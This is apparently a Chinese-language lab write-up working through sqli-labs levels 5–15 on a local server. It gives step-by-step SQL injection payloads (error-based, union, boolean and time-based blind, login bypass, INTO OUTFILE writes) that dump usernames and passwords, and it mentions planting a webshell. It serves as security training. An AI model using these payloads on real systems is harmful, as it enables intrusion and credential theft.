select table_name from information_schema.tables where schema_table='$dbname'
select column_name from information_schema.columns where schema_column='$name'
select group_concat(username,id,password) from users
第五关 ?id=2’--+
?id=2' order by 4--+
?id=2' order by 3--+
查询数据库名:?id=-1' and extractvalue(1,concat(0x7e,(select database())))--+
这一条语句同样?id=-1' and updatexml(1,concat(0x7e,(select database())),0)--+
?id=-1’ and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),0)--+
接下来就都是老样子了,查数据表,根据数据表查列,再查列的值
http://127.0.0.1/sqli/Less-5/?id=-1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)),0)--+
http://127.0.0.1/sqli/Less-5/?id=-1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(username,0x7e,password)%20from%20users)),0)--+
爆出账号和密码
第六关
输入双引号报错,有注入点,后跟--+回显正常
Order by 试探一下
尝试联合查询发现不返回数据库名称,只能换方法。尝试报错注入
?id=1" and extractvalue(1,concat(0x7e,(select database())))--+ 成功套出数据库名
http://127.0.0.1/sqli/Less-6/?id=1%22%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())))--+
http://127.0.0.1/sqli/Less-6/?id=1%22%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27)))--+
http://127.0.0.1/sqli/Less-6/?id=1%22%20and%20extractvalue(1,concat(0x7e,(select%20group_concat(username,0x7e,password)%20from%20users)))--+
-1' and (updatexml(1,concat(0x7e,(select SUBSTRING(group_concat(username),12) from users),0x7e),1))--+
第七关
单引号报错,并且--+还报错,尝试用括号闭合
多次尝试,发现加两层括号闭合成功
Order by5报语法错误,order by 3 正常输出。
And 1=1 --+正常显示
And length(database())=8--+ //一个等号就可以,两个等号会报错
id=1')) and (select count(*) from mysql.user)>0 %23 返回正常则有读取权限
查询出数据库信息导出到txt文件::::::::-1')) union select 1,user(),database() into outfile "S:\\software\\phpstudy\\phpstudy_pro\\WWW\\sqli\\Less-7\\1.txt" %23
然后在浏览器地址栏输入txt文件的地址,可以查看文件中的信息。
ID:-1')) union select 1,2,table_name from information_schema.tables where table_schema='security' into outfile "S:\\software\\phpstudy\\phpstudy_pro\\WWW\\sqli\\Less-7\\2.txt" --+
?id=-1')) union select 1,2,column_name from information_schema.columns where table_name='users' into outfile "S:\\software\\phpstudy\\phpstudy_pro\\WWW\\sqli\\Less-7\\3.txt" %23
?id=-1')) union select 1,password,username from users into outfile "S:\\software\\phpstudy\\phpstudy_pro\\WWW\\sqli\\Less-7\\4.txt" %23
第八关
写入一句话木马
写入成功
打开蚁剑,拿到webshell
第九关
猜测数据库:
?id=1'and If(ascii(substr(database(),1,1))=112,1,sleep(5))--+
If判断语句,如果ascii()函数判断出里面的参数ascii码等于112,返回1,否则网页停5秒
ascii()判断函数,substr()函数对database()函数的返回值做分割操作,
第一位是 s (ascii 码是 115)
http://127.0.0.1/sqllib/Less-9/?id=1%27and%20If(ascii(substr(database(),2,1))=101,1,sleep(5))--+
第二位是 e (ascii 码是 101)
。
。
。以此类推,得到数据库名security
接下来猜测security的数据表
http://127.0.0.1/sqllib/Less-9/?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))=101,1,sleep(5))--+
猜测第一个数据表的第一位是 e,…依次类推,得到 emails
?id=1'and If(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1))=114,1,sleep(5))--+
猜测第二个数据表的第一位是 r,…依次类推,得到 referers
最后遍历一遍得到最后的数据表 emails,referers,uagents,users
猜测 users 表的列:
?id=1'and If(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+
猜测 users 表的第一个列的第一个字符是 i,
以此类推,我们得到列名是 id,username,password
猜测 username 的值:
http://127.0.0.1/sqli/less-9/?id=1%27and%20If(ascii(substr((select%20username%20from%20users%20limit%200,1),1,1))=68,1,sleep(5))--+
猜测 username 的第一行的第一位
以此类推,最终可得到数据库 username,password 的所有内容
第十关
与第九关一样,时间注入,只是闭合方式把单引号改成了双引号,
第十一关
测试常用初始账号admin ,root
Admin ‘ or 1=1
Admin’ or 1=1# 加个注释号,成功
第12关
单引号不报错,双引号报错
去掉注释井号键,发现以下错误
即双引号和括号闭合”) 输入root") or 1=1# 密码随意输入,成功绕过登录
")union select user(),database()#可以使用联合查询
第13关
照之前两关的输入测试无效,输入admin\ 反斜杠成功让数据库报错,发现要想成功登录,密码也得要想办法绕过,不能像之前一样输完账号直接回车。
')and updatexml(1,concat(0x7e,(select database())),0)#
')and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#
')and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users')),1)#
')and updatexml(1,concat(0x7e,(select group_concat(username,id,password) from users)),0)#
爆出id和密码,成功登录
第14关
和第13关一样,只是单引号的闭合不一样,同样是报错注入。
输入反斜杠,查看报错信息
"and updatexml(1,concat(0x7e,(select group_concat(username,0x7e,password) from security.users)),1)#
爆出id,密码,成功登录。
第15关
输入反斜杠没有报错信息
‘ or 1=1 #
'or (length(database()))=8# 返回正常,数据库名字的字符串长度为8
If(ascii(substr(database(),1,1))=112,1,sleep(5))
'or (ascii(substr(database(),1,1)))=115# 数据库名字第一个字返回正常
'or (ascii(substr(database(),2,1)))=101# 数据库名字第二个字返回正常
依次类推,得到数据库名为security
猜表名
'or (ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)))=101# 返回正常,说明数据库表名的第一个字母是e
猜列表
'or ascii(substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1))=105# 返回正常,说明数据表emails列名称的第一个是i